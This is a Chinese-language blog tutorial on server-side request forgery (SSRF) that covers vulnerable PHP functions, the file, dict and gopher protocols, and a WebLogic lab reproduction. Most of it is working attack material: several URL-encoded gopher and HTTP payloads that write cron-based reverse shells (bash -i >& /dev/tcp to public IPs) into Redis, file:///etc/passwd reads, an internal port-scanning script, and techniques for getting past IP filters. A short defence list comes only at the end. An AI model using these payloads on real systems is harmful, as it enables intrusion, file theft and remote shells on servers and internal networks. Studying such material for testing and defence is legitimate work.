SSRF

简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。能发起对外请求且URL可控的地方都有可能存在ssrf(协议地址端口内容完全可控)。

Example:

GET /index.php?url=http://google.com/ HTTP/1.1Host: example.com

在这里,http://example.com 从它的服务器获取 http://google.com

漏洞原因:

服务器提供从其他服务器获取数据的功能,且没有对没有对协议、ip、端口等进行过滤和限制。比如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

SSRF的类型

  1. 有回显:显示攻击者的响应(Basic)
  2. 无回显:不显示响应(Blind)

容易出现SSRF的地方

  • 转码服务
  • 在线翻译
  • 云服务器商。(各种网站数据库操作)
  • 有远程图片加载的地方。(编辑器之类的有远程图片加载)
  • 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
  • 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
  • 图片、文章收藏功能。
  • 最后一个一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。
  • 从URL关键字中寻找:sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain

漏洞的危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的[banner 信息]
  • 攻击运行在内网或者本地的应用程序
  • 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
  • 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
  • 下载内网资源(利用file协议读取本地文件等)
  • 利用Redis未授权访问,HTTP CRLF注入达到getshell
  • 进行跳板
  • 无视cdn
  • wooyun峰会猪猪侠的ppt

判断SSRF漏洞

通过抓包进行判断

可以看出是服务器发出的请求,而不是百度服务器发出的请求,可以判断为SSRF漏洞。

SSRF漏洞相关函数和协议

函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

fsockopen()
<?php
function GetFile($host,$port,$link) {
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr (error number $errno) \n";
    } else {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $contents='';
        while (!feof($fp)) {
            $contents.= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

curl_exec()
<?php
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result);
    echo $result;
}
?>

curl_exec函数用于执行指定的cURL会话

注意

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

协议

(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活

漏洞演示源码

使用phpstudy环境,ssrf.php直接访问即可。这里演示用了pikachu的环境。

<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化会话
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//执行会话
curl_close($ch);
echo $res;//有回显
//无回显
//if($res){
//    echo "True";
//}else{
//    echo "False";
//}
?>

进行访问请求

这是一个正常的流程,经常用来访问链接、图片等,同样可以进行漏洞利用

漏洞利用

SSRF漏洞可以判断内网主机存活以及端口开放情况,可以读取服务器文件,攻击内网redis/memcache/mysql,攻击内网的web应用fastcgi或其他服务等。而gopher协议在其中占了很重要的角色。

验证漏洞存在

有回显

echo $res;

对url参数进行修改,向百度浏览器发送请求。回显百度页面可证实为SSRF漏洞。

ssrf.php?url=http://www.baidu.com

无回显

即不输出。if($res){ echo "True"; }else{ echo "False"; }

因为没有回显无法直观看到页面的变化,只返回True或False判断,采用公网服务器端口监听的方式判断SSRF漏洞是否存在。

公网服务器nc进行监听,这里在本地模拟公网

nc -lvp 800

靶机发送请求

ssrf.php?url=http://127.0.0.1:800

接收到数据包。可证实存在SSRF漏洞

本地利用

以SSRF神器Curl举例,查看 curl 支持的协议列表 curl -V。本地利用方式:

使用file协议(任意文件读取)
curl -vvv file:///etc/passwd

使用ftp协议
curl -vvv ftp://127.0.0.1:6379/info

使用dict协议(操作Redis)
curl -vvv "dict://127.0.0.1:6379/info"

使用gopher协议(一键反弹Bash)   * 注意: 这里的链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

远程利用

利用http协议

探测内网存活的主机
curl -v http://scan.vulspace.com/vul/ssrf/ssrf_get.php?url=http://192.168.52.1
curl -v http://scan.vulspace.com/vul/ssrf/ssrf_get.php?url=http://192.168.52.2
......

为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:

服务探测
ssrf.php?url=http://127.0.0.1:8080

如果对资产了解不足,可以先对C段进行探测以及一些端口22,80,8080,7001,6379等,但是灵活度不够,可以编写脚本进行探测。

#coding='utf-8'
import requests

scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088]

def run():
    for i in range(130,136):
        for port in port_list:
            ip='192.168.197.'+str(i)
            payload = '{scheme}://{ip}:{port}'.format(
                scheme=scheme,
                ip=ip,
                port=port
            )
            url= "http://192.168.197.216/ssrf.php?url={payload}".format(payload=payload)
            print url
            try:
                r = requests.get(url,timeout=5,verify=False)
                print r.text
            except Exception,e:
                pass
if __name__ == '__main__':
    run()

github上也有现成工具。
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus

利用file协议

任意文件读取
curl -v http://scan.vulspace.com/vul/ssrf/ssrf_get.php?url=file:///etc/passwd

利用dict协议

查看端口及端口上运行服务的版本信息
curl -v http://10.10.10.138/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.10.10.128:22/info

利用dict协议可以操作redis服务。

dict协议要一条一条的执行,而gopher协议执行一条命令就行了。

gopher协议在ssrf中的利用

SSRF能够利用的协议有很多,如ftp协议、http协议、dict协议、file协议等等,而gopher协议在其中占了很重要的角色,这里重点看一下gopher协议。

gopher协议,分布型的文件搜集获取网络协议,支持发出GET、POST请求。可以先截获get请求包和post请求包,然后再构造成符合gopher协议的请求。

服务器nc进行监听

nc -lvp 2333

靶机发送请求

ssrf.php?url=gopher://172.16.111.98:2333/_hello

SSRF漏洞在真实环境常常去攻击redis、FastCGI等服务。

攻击内网redis

当通过ssrf发现内网存在着一些比较脆弱的web服务,比如有存在struts2漏洞的web服务,就可以尝试使用gopher协议把poc发送过去实现rce。

使用gopher协议发送数据包与常见post数据包不太一样,gopher发送的数据包需为十六进制。

payloaod生成

sniffer工具

https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

下载到kali上,make编译即可生成sniffer工具。并在本地kali上搭建redis服务,输入info命令查看redis服务,并开启sniffer捕捉到的命令即为payload。

gopher协议格式为:gopher:/ip:port/_ + payload

gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a

将该payload拷贝到burp数据包中,响应500错误。

使用curl进行发送,请求成功。

curl 'gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

证明实际是可以发送成功的。

下面进一步攻击redis服务。
关于攻击redis服务参考这篇文章 redis漏洞利用
这里依然写计划任务反弹shell

config set dir /var/spool/cron/
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.80.xxx/8080 0>&1\n\n"
config set dbfilename root
save

将反弹shell的命令生成payload进行发送。sniff捕捉payload。

payload为:

%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

然后使用gopher协议进行构造,并进行url编码。虽然服务器返回500,但可以成功创建任务计划执行。

curl http://www.target.com/ssrf.php?url=gopher://172.16.55.23:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

+OK
+OK
+OK
+OK

shell随之接收

Gopherus工具

通过Gopherus生成RESP格式的payload

python gopherus.py --exploit redis
Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/127.0.0.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Before sending request plz do `nc -lvp 1234`

Bypass

绕过IP限制

1.利用@、#等符号

ssrf.php?url=http://www.target.com@10.10.10.10  ->10.10.10.10
ssrf.php?url=http://10.10.10.10#www.target.com  ->10.10.10.10
ssrf.php?url=http://10。10。10。10               -> 10.10.10.10

2.利用短地址

使用在线短链生成器

https://url.cn/5fyRNDC

3.利用特殊域名

http://127.0.0.1.xip.io/
http://127.0.0.1.xip.name/
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io
http://foo.bar.10.0.0.1.xip.io

4.利用进制转换

可以是十六进制,八进制等。
例如192.168.197.134
首先把这四段数字给分别转成16进制,结果:c0 a8 c5 86
然后把 c0a8c586 这十六进制一起转换成8进制30052142606
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x

ip编码绕过

[DNS Rebinding]

(https://github.com/Tr3jer/dnsAutoRebinding)

weblogic SSRF漏洞复现

使用vluhab进行复现该漏洞。

docker-compose build
docker-compose up -d

漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp页面

burp抓取数据包, operator参数存在SSRF漏洞

当访问不存在的端口,返回could not connect over HTTP to server

当访问存在的端口时,显示error code。

当访问的非http协议,则会返回did not have a valid SOAP content-type

但是当我借助docker的weblogic ssrf漏洞去探测我手动搭建的redis服务时,出现了问题。

响应Response contained no data ,未找到解决办法。

去探测docker的redis服务时,响应正常

利用docker的环境攻击redis服务反弹shell。 向redis发送命令,将shell脚本写进计划任务。

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.94.xx.xxx/8080 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将该命令通过get方式进行发送,需要进行url编码。
注意:换行符是”\r\n”,也就是”%0D%0A”

http://172.18.0.2:6379/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.94.xx.xxx%2F8080%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Aaaa

注意这里使用的是http协议。因为java不支持除了http、https协议的其他协议。

即可反弹shell。

在自己手动搭建的weblogic和redis环境中,漏洞无法结合利用。
原因未知,复现出来的还请大佬告知。

防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单

工具

利用F12,查看网站的网络请求
利用GoogleHacking,如site:www.baidu.com,然后查找网站是否有关于url的远程调用
SSRFmap
SSRF-Testing

靶机环境

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
https://github.com/hongriSec/Web-Security-Attack

参考

https://blog.csdn.net/u012206617/article/details/108941738
https://www.anquanke.com/post/id/197431
https://www.cnblogs.com/-chenxs/p/11749367.html
https://websec.readthedocs.io/zh/latest/vuln/ssrf.html
https://segmentfault.com/a/1190000021960060
https://joner11234.github.io/article/9d7d2c7d.html
https://joner11234.github.io/article/9897b513.html
https://github.com/tarunkant/Gopherus
https://xz.aliyun.com/t/7405
https://blog.csdn.net/qq_41107295/article/details/103026470
https://www.jianshu.com/p/a5ceccfa279a
https://xz.aliyun.com/t/7405
https://skysec.top/2018/08/17/xss-ssrf-redis/#%E5%89%8D%E8%A8%80


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区留言。

×

喜欢就点赞,疼爱就打赏